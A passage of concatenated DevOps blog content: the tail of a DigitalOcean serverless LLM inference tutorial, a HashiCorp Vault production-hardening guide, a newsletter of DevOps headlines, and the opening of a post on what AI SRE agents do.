At the time of writing that returns 67 models, spanning OpenAI (openai-gpt-5.5, openai-gpt-4o-mini, the open openai-gpt-oss-20b and openai-gpt-oss-120b), Anthropic (anthropic-claude-opus-4.8, anthropic-claude-4.6-sonnet, anthropic-claude-haiku-4.5), Meta Llama, Mistral, DeepSeek, NVIDIA Nemotron, and embedding and image models. Switching models is a one-string change.

What it costs

The model we used, gpt-oss-20b, is billed at $0.05 per 1M input tokens and $0.45 per 1M output tokens. The call in Step 2 used 87 input and 74 output tokens, which works out to about four thousandths of a cent. You can run this tutorial hundreds of times before it rounds up to a penny.

Switching models is a one-string change, and the price range across the catalog is wide. Output tokens are the cost driver (they are more expensive than input on every model), and the small open models sit far below the frontier ones:

Rates are abstract, so here is the concrete version: the exact prompt from this tutorial (87 input, 74 output tokens), run 100,000 times, priced on each model. The same workload swings from a few dollars on a small open model to over a hundred on a frontier one:

The pricing model matters as much as the number. You pay per token, not per GPU-hour, because serverless inference pools GPU capacity across customers, so an idle app costs nothing. DigitalOcean also applies a small off-peak discount on eligible open models during overnight hours, which is worth knowing if you run large batch jobs you can schedule. The practical rule the second chart points at: start on the cheapest model that clears your quality bar, and only reach for a frontier model on the prompts that genuinely need it.

A note on that 403 (VPC scoping)

If your very first call comes back as 403 Forbidden even though the key is correct and has access to all models, check whether the key is bound to a VPC. A VPC-scoped key is rejected for any request that does not originate inside that private network. That is a feature, not a bug: in production you want your inference key locked to your VPC so it cannot be used from anywhere else. For local testing from your laptop, create a key with no VPC restriction (and delete it when you are done), or run your test from a Droplet inside the VPC.

It is a good habit to adopt the moment you go past experimenting: scope the production key to your VPC, scope it to only the models you actually call, and set an expiration date.

Where to go next

You now have a working, OpenAI-compatible LLM call with nothing to operate. From here:

• Swap the model to match the task. Use a small open model like gpt-oss-20b for cheap, high-volume work and a frontier model for the hard prompts, changing one string.
• Add retrieval with DigitalOcean's Knowledge Bases and managed Weaviate when you need answers grounded in your own data.
• Reach for dedicated inference if you need predictable latency for a single model under steady load, rather than the pooled serverless tier.
• Build an agent when a single call is not enough. If you go that route, our take on what AI SRE agents actually fix and what they break is worth reading before you give one access to anything that matters.

The thing that makes this approachable is the same thing that makes it easy to leave if you ever want to: it is just the OpenAI API with a different base URL. Start with the cheap model and a curl command, and grow into the rest only when a real requirement asks for it.

This is the problem HashiCorp Vault solves, and it is not the problem most teams use it for. Most teams install Vault, run it in dev mode, dump a pile of static key-value secrets into it, and call it done. That gives you an encrypted password store with a nicer API. Useful, but it leaves the worst part untouched: secrets that live forever and that no human can fully account for.

The real win with Vault is making secrets short-lived and generated on demand, so a leak has an expiry date measured in hours instead of years. This post shows how to run Vault for that: a production server that survives reboots, machine authentication that does not depend on root tokens, dynamic database credentials, and encryption as a service. Every command here is one you can run.

TLDR

• Never run vault server -dev for anything real. It is in-memory and unsealed, so a restart wipes every secret.
• Use auto-unseal (AWS KMS, GCP KMS, or another Vault) so a reboot does not need five humans with key shares.
• Authenticate machines with AppRole, not long-lived root or service tokens.
• Use dynamic secrets for databases. Vault creates a unique DB user per request with a short TTL and deletes it when the lease ends.
• Use the transit engine for encryption as a service so your apps never touch the encryption keys.
• Write least-privilege policies, turn on the audit log, and revoke leases when something goes wrong.

Prerequisites

• A Linux host (or VM) where you can install the Vault binary
• Vault 1.15 or newer (vault version to check)
• A PostgreSQL database you can point Vault at for the dynamic secrets section
• An AWS account with a KMS key if you want auto-unseal (optional but recommended)
• Basic comfort with the command line and HCL config files

Stop running Vault in dev mode

Dev mode is the trap. You run one command and get a working Vault:

vault server -dev

==> Vault server configuration:
             Api Address: http://127.0.0.1:8200
                     Cgo: disabled
         Cluster Address: https://127.0.0.1:8201
              Listener 1: tcp (addr: "127.0.0.1:8200", tls: "disabled")
               Log Level: info
                   Mlock: supported: true, enabled: false
           Recovery Mode: false
                 Storage: inmem

WARNING! dev mode is enabled! In this mode, Vault runs entirely in-memory
and starts unsealed with a single unseal key.

Read that warning. Storage: inmem means every secret lives in RAM and disappears on restart. tls: disabled means traffic is plaintext. It starts unsealed, so anyone who reaches port 8200 owns it. Dev mode is for trying commands on your laptop, nothing else.

A production server needs three things dev mode skips: persistent storage, TLS, and a seal. Here is a real config.hcl using integrated Raft storage and AWS KMS auto-unseal:

# /etc/vault.d/vault.hcl
storage "raft" {
  path    = "/opt/vault/data"
  node_id = "vault-1"
}

listener "tcp" {
  address       = "0.0.0.0:8200"
  tls_cert_file = "/opt/vault/tls/vault.crt"
  tls_key_file  = "/opt/vault/tls/vault.key"
}

# Auto-unseal: Vault asks KMS to decrypt its root key on boot.
# No more gathering humans with key shares after every restart.
seal "awskms" {
  region     = "us-east-1"
  kms_key_id = "arn:aws:kms:us-east-1:111122223333:key/abc-12345"
}

api_addr     = "https://vault-1.internal:8200"
cluster_addr = "https://vault-1.internal:8201"
ui           = true

Start it and initialize once:

vault server -config=/etc/vault.d/vault.hcl &

export VAULT_ADDR="https://vault-1.internal:8200"
vault operator init -recovery-shares=5 -recovery-threshold=3

Recovery Key 1: vR2k9... (give to a different person than key 2)
Recovery Key 2: 8Lp4m...
Recovery Key 3: qW7nZ...
Recovery Key 4: 3xF8t...
Recovery Key 5: hT1bY...

Initial Root Token: hvs.CAESIJ...

Success! Vault is initialized

Recovery key initialized with 5 key shares and a key threshold of 3.

Because of auto-unseal you get recovery keys instead of unseal keys. Vault unseals itself on boot using KMS, and the recovery keys are only for emergencies like regenerating the root token. Split them across different people and store them offline. Never keep all of them in one place.

Now use that root token once to set up authentication and policies, then throw it away. Root tokens are for break-glass moments, not daily use.

vault login hvs.CAESIJ...

If you ever see this, your Vault restarted and could not reach its seal:

$ vault kv get secret/payments/stripe
Error making API request.
URL: GET https://vault-1.internal:8200/v1/secret/data/payments/stripe
Code: 503. Errors:
* Vault is sealed

A sealed Vault answers nothing. That is the whole point. Auto-unseal exists so this state heals itself instead of paging you.

Authenticate machines with AppRole, not tokens

A common mistake: generate a long-lived token, paste it into an app's environment, and forget it exists. Now you have the same forever-credential problem one layer up. If that token leaks, it works until someone notices.

For machines, use AppRole. The app proves its identity with a role_id (think username, not very secret) and a secret_id (think password, short-lived and delivered separately), and gets back a token scoped to exactly what it needs.

vault auth enable approle

# Create a role for the payments service.
vault write auth/approle/role/payments-api \
    token_policies="payments-api" \
    token_ttl=1h \
    token_max_ttl=4h \
    secret_id_ttl=24h \
    secret_id_num_uses=1

# role_id is stable and tied to the role.
vault read auth/approle/role/payments-api/role-id

Key        Value
---        -----
role_id    7b1c4e2a-9f3d-4a8e-b6c1-2d5f8e0a1b3c

The secret_id is the part that needs care. Generate it just before the app starts and hand it over once. With secret_id_num_uses=1 it works exactly one time, so a leaked secret_id in a log is already useless.

vault write -f auth/approle/role/payments-api/secret-id

Key                   Value
---                   -----
secret_id             d8a3...e91f
secret_id_accessor    4c2b...77a0
secret_id_ttl         24h

The app logs in with both and gets a short-lived token:

vault write auth/approle/login \
    role_id="7b1c4e2a-9f3d-4a8e-b6c1-2d5f8e0a1b3c" \
    secret_id="d8a3...e91f"

Key                  Value
---                  -----
token                hvs.CAESI...
token_duration       1h
token_renewable      true
token_policies       ["default" "payments-api"]

That token dies in an hour unless the app renews it. The pattern that delivers the secret_id securely (a sidecar, a cloud instance identity, or Vault Agent) is its own topic, but the rule is simple: the role_id can live in config, the secret_id should be freshly minted and single-use.

Dynamic database credentials

This is the feature that changes how you think about secrets. Instead of one shared database password that every service knows, Vault creates a brand new database user for each request, with a short TTL, and deletes it when the lease expires.

Enable the database engine and point it at PostgreSQL:

vault secrets enable database

vault write database/config/orders-db \
    plugin_name="postgresql-database-plugin" \
    allowed_roles="orders-readonly" \
    connection_url="postgresql://{{username}}:{{password}}@db.internal:5432/orders?sslmode=require" \
    username="vault-admin" \
    password="$ROOT_DB_PASSWORD"

The vault-admin account is the only static credential, and it is a privileged account Vault uses to create and drop other users. Now define a role that says what a generated user is allowed to do:

vault write database/roles/orders-readonly \
    db_name="orders-db" \
    creation_statements="CREATE ROLE \"{{name}}\" WITH LOGIN PASSWORD '{{password}}' VALID UNTIL '{{expiration}}'; \
      GRANT SELECT ON ALL TABLES IN SCHEMA public TO \"{{name}}\";" \
    default_ttl="1h" \
    max_ttl="24h"

Ask for credentials:

vault read database/creds/orders-readonly

Key                Value
---                -----
lease_id           database/creds/orders-readonly/Qm9iY...
lease_duration     1h
lease_renewable    true
password           A1a-9Zx2Kp4Lq7Rt0Vn3
username           v-approle-orders-rea-x7Qd2bN9

That username did not exist a second ago. Run the command again and you get a different user with a different password. Each service instance, each request if you want, gets its own credentials. When the lease ends, Vault runs the revocation statement and the user is gone from PostgreSQL.

Here is why this matters in numbers. A static password sits valid until a human rotates it, which in practice means months or years. A dynamic credential with a one-hour TTL is useless to an attacker an hour after it leaks.

The shrink in exposure window is the entire reason to run Vault. If you take one thing from this post, make it this section.

Encryption as a service with the transit engine

Sometimes you do not want to store a secret, you want to encrypt application data: a customer's tax ID, a token, a column in your database. The wrong move is to ship an AES key to every app and hope nobody loses it. The transit engine keeps the key inside Vault and exposes encrypt and decrypt operations. Your app sends plaintext and gets ciphertext back. It never sees the key.

vault secrets enable transit
vault write -f transit/keys/orders-pii

Encrypt some data (transit takes base64 input):

vault write transit/encrypt/orders-pii \
    plaintext=$(echo -n "4111-1111-1111-1111" | base64)

Key            Value
---            -----
ciphertext     vault:v1:8SDd4HCQ9p7Hf2bxN0kZ...
key_version    1

Store vault:v1:8SDd... in your database. To read it back:

vault write transit/decrypt/orders-pii \
    ciphertext="vault:v1:8SDd4HCQ9p7Hf2bxN0kZ..."

Key          Value
---          -----
plaintext    NDExMS0xMTExLTExMTEtMTExMQ==

Base64-decode that and you are back to the card number. The v1 prefix is the key version, which means you can rotate the key with vault write -f transit/keys/orders-pii/rotate and old ciphertext still decrypts while new writes use the fresh key. No key ever leaves Vault, so an app compromise leaks data the app could already see, not the key that protects all of it.

Least-privilege policies and the audit log

Tokens are only as safe as the policy attached to them. The payments-api policy referenced earlier should grant exactly what the service needs and nothing more:

# payments-api.hcl
# Read dynamic DB creds for the orders database.
path "database/creds/orders-readonly" {
  capabilities = ["read"]
}

# Encrypt and decrypt PII, but not manage or export the key.
path "transit/encrypt/orders-pii" {
  capabilities = ["update"]
}
path "transit/decrypt/orders-pii" {
  capabilities = ["update"]
}

vault policy write payments-api payments-api.hcl

Notice what is missing. No database/creds/orders-admin, no transit/keys/* management, no wildcard paths. If the payments token leaks, the attacker can read orders and decrypt PII for an hour, and that is the ceiling. When a request asks for something outside the policy, Vault refuses:

$ vault read database/creds/orders-admin
Error reading database/creds/orders-admin: Error making API request.
URL: GET https://vault-1.internal:8200/v1/database/creds/orders-admin
Code: 403. Errors:
* 1 error occurred:
	* permission denied

Turn on the audit log before you put anything real in Vault. It records every request and response (secrets are HMAC'd, not stored in clear) so you can answer "who read this secret and when" during an incident:

vault audit enable file file_path=/var/log/vault/audit.log

And when you do have an incident, dynamic secrets give you a clean kill switch. Revoke every credential a database role ever issued in one command:

vault lease revoke -prefix database/creds/orders-readonly

All revocation operations queued successfully!

Every dynamic user that role created gets dropped from the database. Try doing that with a shared password that lives in forty places.

Where to go next

You now have the shape of a real Vault setup: a sealed, persistent server; AppRole for machines; dynamic database credentials; transit for encryption; tight policies; and an audit trail. The static KV store is still there when you need it, but it should be the exception, not the default.

Concrete next steps:

1. Replace one static database password with a dynamic role this week. Pick a low-risk read-only service and cut over. Seeing credentials expire on their own is what makes the model click.
2. Stand up a 3-node Raft cluster, not a single server. One Vault node is a single point of failure for every secret you own. Run vault operator raft list-peers to confirm the cluster.
3. Deploy Vault Agent to handle AppRole login and token renewal so your apps read a rendered file or env var instead of calling the Vault API directly.
4. Set short TTLs and test revocation. Run vault lease revoke -prefix against a staging role and confirm the users vanish from your database. Know the command works before you need it at 2am.
5. Ship the audit log to your SIEM so secret access shows up next to the rest of your security telemetry.

Start with step one. Turning a single forever-password into a one-hour credential is the smallest change that removes the largest class of secret leaks you have.

📌 Handpicked by DevOps Daily - Your weekly dose of curated DevOps news and updates!

⚓ Kubernetes

📄 Introducing Project Navigator: From AI intent to optimized deployment on Red Hat OpenShift AI

You've picked a model. Maybe it's a 70 billion parameter large model because someone on the team saw it top a leaderboard. Now you need it running in production on your Red Hat OpenShift AI cluster. S

📅 Jun 22, 2026 • 📰 Red Hat Blog

🔗 Read more

📄 Scaling Ray Serve LLM on GKE: Performance without losing the developer experience

Developers looking for LLM inference and model serving often turn to Ray Serve, a scalable model serving library with developer-friendly, Python-native APIs built by Anyscale. Combined with Google Kub

📅 Jun 18, 2026 • 📰 Google Cloud Blog

🔗 Read more

📄 Why cloud native belongs at the heart of agentic AI: Lessons from building a multi-agent security platform on Kubernetes

In March, I gave a talk at KubeCon + CloudNativeCon Europe 2026 in Amsterdam. After the session, the same questions kept coming up on the CNCF Slack and in person: why build agentic AI on cloud...

📅 Jun 17, 2026 • 📰 CNCF Blog

🔗 Read more

☁️ Cloud Native

📄 Expanding CARE: Passing CKS can now extend your CKA certification

A few months ago, CNCF introduced the CARE Program — Certification Advancement & Recertification Experience — to make it easier for certified professionals to keep their credentials current as they co

📅 Jun 18, 2026 • 📰 CNCF Blog

🔗 Read more

📄 Docker Content Trust: Retirement and Migration Guidance

TLDR: Docker Content Trust (DCT) and the Notary v1 service at notary.docker.io are being fully retired (first announced in July of 2025). This blog explains what is changing, who is affected, and how

📅 Jun 16, 2026 • 📰 Docker Blog

🔗 Read more

📄 From data residency to digital sovereignty: Architectural patterns for cloud native platforms

Over the past two years, digital sovereignty has evolved from a policy discussion into a practical platform engineering concern. The EU Data Act has been fully applicable since January 11, 2025. NIS-2

📅 Jun 16, 2026 • 📰 CNCF Blog

🔗 Read more

📄 Docker joins the Athena coalition: a cross-industry collaboration for supply chain security

The obvious takeaway from 2026's biggest incidents is that attackers are increasingly using AI to move fast. Docker's CISO, Mark Lechner, wrote about this shift and what every engineering team should

📅 Jun 15, 2026 • 📰 Docker Blog

🔗 Read more

🔄 CI/CD

📄 AWS Image Builder Plugin for TeamCity

Cloud build agents are one of those CI/CD features that feel almost magical when everything works well. Your TeamCity server can scale build capacity up when the queue gets busy, then wind it back dow

📅 Jun 22, 2026 • 📰 JetBrains Blog

🔗 Read more

📄 Harness MCP Server Now Connects Google Antigravity IDE

Connect Harness MCP Server inside Google Antigravity to let AI agents inspect pipelines, debug deployments, trigger approved runs, and act on real-time delivery context with RBAC, audit logs, and huma

📅 Jun 22, 2026 • 📰 Harness Blog

🔗 Read more

📄 Feature Flags Were Always Important. SRE Agents Make Them Essential.

AI-powered SRE agents are getting very good at identifying when something is wrong in production. What they haven't solved, however, and what most teams have dramatically underinvested in, is what hap

📅 Jun 19, 2026 • 📰 LaunchDarkly Blog

🔗 Read more

📄 How we built an internal data analytics agent

Qubot, our internal Copilot-powered analytics agent, allows any GitHub employee to ask questions about our data in plain language. Here's what we learned as we built it. The post How we built an inter

📅 Jun 19, 2026 • 📰 GitHub Blog

🔗 Read more

📄 Bamboo End of Life: How to Prepare and Choose the Right CI/CD Replacement

If your team is using Bamboo, you’ve probably seen the news: Bamboo Data Center is being retired as part of Atlassian’s broader Data Center transition strategy. Support will continue for several years

📅 Jun 19, 2026 • 📰 JetBrains Blog

🔗 Read more

📄 How pull request limits are cutting down the noise

Learn how pull request limits can help manage contribution volume in your repositories, and see what’s next on the roadmap. The post How pull request limits are cutting down the noise appeared first o

📅 Jun 18, 2026 • 📰 GitHub Blog

🔗 Read more

📄 One vulnerability view: From scanner coverage to AI governance

Most enterprises use a handful of different security scanners, each configured and enforced, project by project. With no single view of what scanners run where, policies drift, blind spots go undetect

📅 Jun 18, 2026 • 📰 GitLab Blog

🔗 Read more

📄 GitLab 19.1 released

📅 Jun 18, 2026 • 📰 GitLab Blog

🔗 Read more

📄 AI Catalog updates for governance and operations

Enterprise AI adoption often stalls not because the technology isn't ready, but because admins can't answer the question their security team is asking: What's actually running in our environment, and

📅 Jun 18, 2026 • 📰 GitLab Blog

🔗 Read more

📄 Getting more from each token: How Copilot improves context handling and model routing

How GitHub Copilot is making more of each session go toward useful work, so your credits go further. The post Getting more from each token: How Copilot improves context handling and model routing appe

📅 Jun 17, 2026 • 📰 GitHub Blog

🔗 Read more

📄 GitLab named a Leader in the 2026 Gartner® Magic Quadrant™ for DevSecOps Platforms

For the fourth year running, Gartner has named GitLab a Leader in the 2026 Gartner® Magic Quadrant™ for DevSecOps Platforms. We believe this recognition reflects what our customers already see: The wo

📅 Jun 17, 2026 • 📰 GitLab Blog

🔗 Read more

📄 Harness Named a Leader in the 2026 Gartner® Magic Quadrant™

Harness has been named a Leader in the 2026 Gartner® Magic Quadrant™ for DevSecOps Platforms for the third consecutive year and positioned furthest in Completeness of Vision. | Blog

📅 Jun 17, 2026 • 📰 Harness Blog

🔗 Read more

🏗️ IaC

📄 Amazon MSK Express brokers now support Intelligent Rebalancing on existing clusters

Amazon MSK Provisioned clusters with Express brokers now support Intelligent Rebalancing on all existing clusters, at no additional cost. Previously available only on newly created clusters, Intellige

📅 Jun 18, 2026 • 📰 CloudFormation Updates

🔗 Read more

📄 Automate ScyllaDB X Cloud Clusters with Terraform

The ScyllaDB Cloud Terraform provider gives you infrastructure-as-code control over your clusters.

📅 Jun 16, 2026 • 📰 ScyllaDB Blog

🔗 Read more

📊 Observability

📄 Telemetry that matters: Designing sustainable, high-impact observability pipelines

As system architectures grow increasingly complex, the cloud-native community faces a subtle but pressing challenge: we are drowning in our own telemetry data. It is easier than ever to instrument an

📅 Jun 22, 2026 • 📰 CNCF Blog

🔗 Read more

📄 Production-Ready Autonomous Incident Resolution with AWS DevOps Agent (now GA) and Datadog MCP Server

This post was co-written with Bharadwaj Tanikella (AI/ML Product Engineering Leader) and Mohammad Jama (Product Marketing Manager) from Datadog. In December 2025, we showed how AWS DevOps Agent and Da

📅 Jun 18, 2026 • 📰 AWS DevOps Blog

🔗 Read more

📄 Amazon CloudWatch Synthetics now supports multilocation canaries

Today, Amazon CloudWatch Synthetics announces support for multilocation canaries, allowing developers and site reliability engineers to run the same canary across multiple AWS Regions simultaneously f

📅 Jun 18, 2026 • 📰 CloudFormation Updates

🔗 Read more

📄 Why LaunchDarkly is Standardizing on New Relic

Today, we are announcing that LaunchDarkly is officially moving its primary observability and telemetry workloads to New Relic.

📅 Jun 16, 2026 • 📰 LaunchDarkly Blog

🔗 Read more

🔐 Security

📄 Threats Making WAVs - Incident Response to a Cryptomining Attack

Guardicore security researchers describe and uncover a full analysis of a cryptomining attack, which hid a cryptominer inside WAV files. The report includes the full attack vectors, from detection, in

📅 Jun 22, 2026 • 📰 Linode Blog

🔗 Read more

📄 Modernize with confidence: How Red Hat Consulting de-risks your Linux transition

Operating an unsupported or outdated Linux distribution can expose your organization to critical security risks, drive up maintenance costs, and keep you from using the newest and best tools. However,

📅 Jun 22, 2026 • 📰 Red Hat Blog

🔗 Read more

📄 From sandbox to scale: 10 ways Red Hat is accelerating enterprise IT

Enterprise organizations are pushing past initial AI experimentation, shifting priorities from testing isolated models to safely deploying governable, production-ready workflows across the open hybrid

📅 Jun 22, 2026 • 📰 Red Hat Blog

🔗 Read more

📄 A public Sentry key is all it takes to hijack Claude Code, Cursor, and Codex

On June 17, the Threat Labs team at Tenet Security, an AI-agent security startup newly out of stealth, documented an The post A public Sentry key is all it takes to hijack Claude Code, Cursor, and Cod

📅 Jun 21, 2026 • 📰 The New Stack

🔗 Read more

📄 Gitea 1.26.3 and 1.26.4 are released

We are excited to announce the release of Gitea 1.26.3 and Gitea 1.26.4. Version 1.26.3 delivers a large set of security fixes alongside important bug fixes and stability improvements. Version 1.26.4

📅 Jun 21, 2026 • 📰 Gitea Blog

🔗 Read more

📄 pgAdmin 4 v9.16 Released

The pgAdmin Development Team is pleased to announce the release of pgAdmin 4 version 9.16. This release of pgAdmin 4 includes 64 bug fixes and new features, including fixes for seven security vulnerab

📅 Jun 19, 2026 • 📰 PostgreSQL News

🔗 Read more

📄 Red Hat Lightspeed on premise delivers infrastructure intelligence inside your firewall

Many organizations now operate under strict data governance requirements—whether driven by the EU’s General Data Protection Regulation (GDPR), Digital Operational Resilience Act (DORA), or NIS2 direct

📅 Jun 19, 2026 • 📰 Red Hat Blog

🔗 Read more

📄 Build your own vulnerability harness

We break down the technical architecture behind our multi-stage vulnerability discovery harness and automated triage loop. Learn how we manage state controls, squash false positives through adversaria

📅 Jun 18, 2026 • 📰 Cloudflare Blog

🔗 Read more

📄 The full Snyk AI Security Platform, free for open source maintainers

Open source maintainers are drowning in real vulnerability reports and need help prioritizing, fixing, and shipping remediation faster. Snyk’s Secure Developer Program gives qualifying projects free a

📅 Jun 18, 2026 • 📰 Snyk Blog

🔗 Read more

📄 A Day in the Life of an AI Engineer in Snyk's Lisbon Office

Explore a day in the life of an AI Engineer at Snyk's Lisbon office. See what it's like building AI-powered security tools, collaborating globally, and enjoying the vibrant culture of Portugal's capit

📅 Jun 16, 2026 • 📰 Snyk Blog

🔗 Read more

💾 Databases

📄 YugabyteDB: The Data Backbone for Thousands of Agents

YugabyteDB 2026.1 introduces a PostgreSQL database for every agent. This blog covers how to make that vision a reality. Discover how to get started on YugabyteDB AMP (Agentic Multitenant PostgreSQL) a

📅 Jun 22, 2026 • 📰 Yugabyte Blog

🔗 Read more

📄 New Postgres Language Server: postgres-lsp

Built on tree-sitter-postgres, postgres-lsp implements the Language Server Protocol for PostgreSQL SQL and PL/pgSQL. Point your editor at it for .sql files and get diagnostics, navigation, completion,

📅 Jun 21, 2026 • 📰 PostgreSQL News

🔗 Read more

📄 HypoPG 1.4.3 is out!

Taipei, Taiwan - Sat 20 Jun HypoPG 1.4.3 I'm pleased to announce the release of the version 1.4.3 of HypoPG, an extension adding support for Hypothetical Indexes, compatible with PostgreSQL 9.2 and ab

📅 Jun 20, 2026 • 📰 PostgreSQL News

🔗 Read more

📄 A PostgreSQL Database for Every Agent

Newly released YugabyteDB 2026.1 and YugabyteDB AMP (Agentic Multitenant Postgres) provide true serverless, scale-to-zero PostgreSQL, where every agent gets its own real, isolated database starting at

📅 Jun 18, 2026 • 📰 Yugabyte Blog

🔗 Read more

📄 pgfmt 2.1: in-place formatting and pg_dump-compatible output

pgfmt 2.1 lands two headline features, plus a steady stream of formatting coverage improvements driven by libpgfmt. It is also now installable from a Homebrew tap. Install via Homebrew brew tap gmr/pg

📅 Jun 18, 2026 • 📰 PostgreSQL News

🔗 Read more

📄 Why a bigger context window won't fix your agent's memory

Context windows have grown fast. Models that once capped out at a few thousand tokens now advertise hundreds of thousands, and the natural assumption was that the agent memory problem would shrink as

📅 Jun 17, 2026 • 📰 Redis Blog

🔗 Read more

📄 Retrieval vs. memory in AI agents: why context layers need both

A returning user asks your agent why their bill doubled this month. The agent greets them by name, pulls up last week's billing dispute, and references the workaround your team suggested. Then it conf

📅 Jun 17, 2026 • 📰 Redis Blog

🔗 Read more

📄 FAQ: Real-time context engine, agent memory, and retrieval

AI agents are getting better at reasoning, planning, and using tools. But even the smartest model can give a bad answer if it has the wrong context, stale data, or too much irrelevant information. Tha

📅 Jun 17, 2026 • 📰 Redis Blog

🔗 Read more

🌐 Platforms

📄 Keep Your Tech Flame Alive: Trailblazer Rachel Bayley

In this Akamai FLAME Trailblazer blog post, Rachel Bayley encourages women to step into the unknown and to be their authentic selves.

📅 Jun 22, 2026 • 📰 Linode Blog

🔗 Read more

📄 The Oracle of Delphi Will Steal Your Credentials

Our deception technology is able to reroute attackers into honeypots, where they believe that they found their real target. The attacks brute forced passwords for RDP credentials to connect to the vic

📅 Jun 22, 2026 • 📰 Linode Blog

🔗 Read more

📄 The Nansh0u Campaign – Hackers Arsenal Grows Stronger

In the beginning of April, three attacks detected in the Guardicore Global Sensor Network (GGSN) caught our attention. All three had source IP addresses originating in South-Africa and hosted by Volum

📅 Jun 22, 2026 • 📰 Linode Blog

🔗 Read more

📄 The New Convergence: How Value Stream Mapping is Rewiring Product, Platform and DevOps for 2026 and Beyond

Value Stream Mapping (VSM) has re-emerged as the connective tissue that unifies product management, operations and architecture.

📅 Jun 22, 2026 • 📰 DevOps.com

🔗 Read more

📄 Retirement of Azure DevOps issuer in Workload identity federation service connections

We are announcing the deprecation of the Azure DevOps issuer in workload identity federation (WIF) service connections, with planned retirement on July 1, 2027. The Azure DevOps issuer uses the https:

📅 Jun 22, 2026 • 📰 Azure DevOps Blog

🔗 Read more

📄 Feature Flag Orchestration with AWS DevOps Agent and LaunchDarkly

Introduction Organizations that use feature flags alongside incident response tooling often connect the two manually. When an outage occurs, engineers must identify which flags are relevant, decide wh

📅 Jun 19, 2026 • 📰 AWS DevOps Blog

🔗 Read more

📄 Supercharge your cloud operations with the Kiro power for AWS DevOps Agent

When an alarm fires at 2 AM, the first thing most engineers do is grep logs, check recent deployments, and trace code paths. However, the context they need — metrics, traces, topology, configurations

📅 Jun 19, 2026 • 📰 AWS DevOps Blog

🔗 Read more

📄 Accelerate Incident Resolution with PagerDuty and AWS DevOps Agent

When something breaks in production, you find out fast. Understanding why it broke, before the damage spreads, is the hard part. That is where Site Reliability Engineering (SRE) teams lose the most ti

📅 Jun 19, 2026 • 📰 AWS DevOps Blog

🔗 Read more

📄 What’s new with Google Cloud

Want to know the latest from Google Cloud? Find it here in one handy location. Check back regularly for our newest updates, announcements, resources, events, learning opportunities, and more. Tip: Not

📅 Jun 19, 2026 • 📰 Google Cloud Blog

🔗 Read more

📄 Temporary Cloudflare Accounts for AI agents

The moment an agent needs to deploy something, it slams face-first into a wall built for humans. Today we're rolling out Temporary Accounts on Cloudflare Workers. Any agent can now run wrangler deploy

📅 Jun 19, 2026 • 📰 Cloudflare Blog

🔗 Read more

📄 Announcing the general availability of a new AWS Local Zone in Hanoi, Vietnam

Today, AWS announces the general availability of a new Local Zone in Hanoi, Vietnam, bringing AWS infrastructure closer to end users. This new Local Zone is one of the first AWS Local Zones in the Asi

📅 Jun 19, 2026 • 📰 CloudFormation Updates

🔗 Read more

📄 Amazon ECS announces faster service auto scaling

Amazon ECS service auto scaling now detects and responds to load changes faster with support for high resolution (20-second) metrics and metric publishing optimizations. In AWS benchmarking tests, tim

📅 Jun 18, 2026 • 📰 CloudFormation Updates

🔗 Read more

📰 Misc

📄 Visual Studio Code 1.126

Learn what's new in Visual Studio Code 1.126 (Insiders) Read the full article

📅 Jun 24, 2026 • 📰 VS Code Blog

🔗 Read more

📄 How We Measure the ROI of JetBrains IDEs

Organizations already spend hundreds of thousands of dollars on software, so it’s only natural that when they evaluate new paid tools, one question is top of mind: “Will this actually pay off?” Our RO

📅 Jun 22, 2026 • 📰 JetBrains Blog

🔗 Read more

📄 Ten Great DevOps Job Opportunities

DevOps.com is now providing a weekly DevOps jobs report through which opportunities for DevOps professionals will be highlighted as part of an effort to better serve our audience. Our goal in these ch

📅 Jun 22, 2026 • 📰 DevOps.com

🔗 Read more

📄 Why Every DevOps Engineer is Suddenly Learning MCP

Before they were everywhere, developers spent ages stitching systems together, one by one. APIs changed everything. MCP wants to do the same for AI.

📅 Jun 22, 2026 • 📰 DevOps.com

🔗 Read more

📄 Ubuntu Summit 26.04: connected by open source

What an incredible experience! Ubuntu Summit 26.04 has officially drawn to a close, but the energy from our global community is still buzzing – in the comments section, on social media, and in news re

📅 Jun 22, 2026 • 📰 Ubuntu Blog

🔗 Read more

📄 NVIDIA Research Bets on Code, Not Tool Calls, to Fix AI Spatial Reasoning

NVIDIA's SpatialClaw uses code, not tool calls, to boost AI spatial reasoning by 11.2 points across 20 benchmarks and six model sizes.

📅 Jun 22, 2026 • 📰 DevOps.com

🔗 Read more

📄 PHP Version Migration That Doesn’t Break Everything

PHP Version Migration Demo PHP powers 71.8% of all websites with a known server-side language. It is a living language that underpins a significant portion of the modern web and one that keeps getting

📅 Jun 22, 2026 • 📰 JetBrains Blog

🔗 Read more

📄 Your agent wants to search like a 2010 quant

AI agents need the right information to work well. Whether they manage to find it is the difference between success The post Your agent wants to search like a 2010 quant appeared first on The New Stac

📅 Jun 21, 2026 • 📰 The New Stack

🔗 Read more

📄 “An agent is an LLM and a harness”: What Nvidia really thinks about OpenClaw

How much of Nvidia is reflected by their visionary CEO, Jenson Huang? With his praise and later support of OpenClaw, The post “An agent is an LLM and a harness”: What Nvidia really thinks about OpenCl

📅 Jun 21, 2026 • 📰 The New Stack

🔗 Read more

📄 Gemini CLI vs. Antigravity: What works, not the spec sheet

Google has decommissioned its Gemini CLI, the open-source terminal tool that just shipped last year. It had over 100,000 GitHub The post Gemini CLI vs. Antigravity: What works, not the spec sheet appe

📅 Jun 20, 2026 • 📰 The New Stack

🔗 Read more

📄 Striped LVM on Linux — Concept, Setup, Extension & XFS Alignment

Striped LVM on Linux — Concept, Setup, Extension & XFS Alignment In modern Linux environments — especially those running SAP HANA — storage I/O performance is a critical bottleneck. A single disk simp

📅 Jun 19, 2026 • 📰 SUSE Blog

🔗 Read more

📄 What 50,000 Runs of a 5-Line Eval Taught Us

How AI coding models calibrate effort, token cost, and tool use on even the simplest task, and what that means for model selection and cost. Read the full article

📅 Jun 19, 2026 • 📰 VS Code Blog

🔗 Read more

It is also two very different products wearing one name. One half is real and quietly excellent. The other half is the part that will page you at 3am for a new reason. Here is the honest split, and the one risk that does not make it onto the marketing page.

What an AI SRE agent actually is

Strip the branding and an AI SRE agent does three things: it correlates signals across your telemetry (metrics, logs, traces, deploys, recent changes), it investigates an active incident to propose a root cause, and, if you let it, it executes bounded remediation, restart this, scale that, roll back the bad deploy.

The important word is "bounded." The category that matters is not "AI that runs your infra." It is "AI that does the tedious 70% of an investigation in 30 seconds instead of 30 minutes, under rules you set." Everything good about this technology lives in that framing, and everything dangerous comes from forgetting the word "bounded."

